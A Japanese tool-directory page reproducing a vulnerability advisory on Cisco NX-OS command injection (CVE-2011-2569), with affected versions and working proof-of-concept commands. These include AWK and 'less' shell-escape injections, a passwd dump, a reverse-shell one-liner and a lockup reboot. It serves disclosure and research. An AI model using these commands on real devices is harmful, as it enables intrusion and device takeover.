Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
secpub — 公開されたセキュリティ脆弱性、研究、および関連情報。 | Kitploit
ツール/GitHubGitHub/darkarnium/secpub
組み込みシステムセキュリティ特権昇格脆弱性分析エクスプロイトネットワークセキュリティペネトレーションテスト論文と研究学習と教育厳選リソース
GitHubdarkarnium/secpub

secpub

公開されたセキュリティ脆弱性、研究、および関連情報。

リポジトリを見る
138296年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Cisco Nexus OS (NX-OS) - コマンド"インジェクション"/サニタイゼーションの問題。

発見者:
  • Peter Adkins [email protected]
アクセス:
  • ローカル; 認証されたアクセスが必要です。
追跡および識別子:
  • CVE - CVE-2011-2569
影響を受けるOS:
  • Cisco Nexus OS (NX-OS)
ベンダーの関与:
  • 通知済み - 一部のプラットフォーム向けのパッチが利用可能/実装済み。
影響を受けるシステム/プラットフォーム:
  • Nexus 7000
  • Nexus 5000
  • Nexus 4000
  • Nexus 3000
  • Nexus 2000
  • Nexus 1000V
  • MDS
  • UCS
注意:

ローカルアクセスが必要です。ただし、権限のないアカウントでも、基盤となるLinuxオペレーティングシステムへのアクセスを取得でき、実質的にデバイスへの完全なアクセスが可能になります。これは、NOCやその他のスタッフがファーストコールなどのために低レベルのアクセスを許可されている環境では、問題を引き起こす可能性があります。

NX-OS - "section" サブコマンド - コマンドインジェクション/サニタイゼーションの問題。

この問題はNexus 7000プラットフォームで発見されました。以下のプラットフォームにも影響する可能性があると考えられています:

  • Nexus 7000 ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )
  • Nexus 5000 ( OS < UNK )
  • Nexus 4000 ( OS < UNK )
  • Nexus 3000 ( OS < UNK )
  • Nexus 2000 ( OS < UNK )
  • MDS ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )

sectionコマンドは、要求された文字列が渡されるAWKスクリプトであると思われます。ただし、入力は正しくサニタイズされていないようです。その結果、AWKを使用してLinuxサブシステム上で任意のコマンドを実行できます。

root@kitploit:~
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y

nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011

nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk

nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011

これを使用すると、bootflash上のすべてのファイルを削除し、システムに'reboot'コマンドを発行することもできます。ただし、Linuxサブシステムから再起動すると、デバイスは実際にはリロードされず、メッセージをコンソールに吐き出してロックしてしまいます。

NX-OS - "less" サブコマンド - コマンドインジェクション/サニタイゼーションの問題。

以下のソフトウェアバージョンに影響すると考えられています:

  • Nexus 7000 ( OS < 5.1(1) )
  • Nexus 5000 ( OS < 4.2(1)N2(1) )
  • Nexus 4000 ( OS < UNK)
  • Nexus 2000 ( OS < 4.2(1)N2(1) )
  • UCS ( OS < 1.4(1i) 1.3(1c) )
    • UCSプラットフォームでは、注入されたコマンドはrootとして実行されます。
  • Nexus 1000V ( OS < UNK )
  • MDS ( OS < 5.1(1) )

例:

root@kitploit:~
switch# sh clock | less

lessが表示されたら、コロンを押してから"e"を押し、ファイルへのパスを指定することでファイルを開きます。

root@kitploit:~
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm

ただし、これも再び読み取り専用アクセスにすぎません。しかし、"|"(パイプ)と"$"キーマクロを使用すれば、コマンドを実行できます。

root@kitploit:~
!ls -lah > /bootflash/20110715

以下に示すように、ファイルはboot-flash上に作成されています。

root@kitploit:~
switch# dir
      97     Jul 15 12:01:44 2011  20110715

この方法を使用して、次のコマンドでNX-OS Linuxサブシステムへのリモートシェルを確立することができました:

root@kitploit:~
 mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs

rebootコマンドでさえ有効な入力として受け入れられます。ただし、デバイスを再起動する代わりに、コンソールにエラーを吐き出しながらシステムをロックさせます。

root@kitploit:~
 switch# sh clock | less
 Fri Jul 15 12:06:30 UTC 2011
 !reboot

 Broadcast message from root (Fri Jul 15 12:06:39 2011):
ツールをダウンロード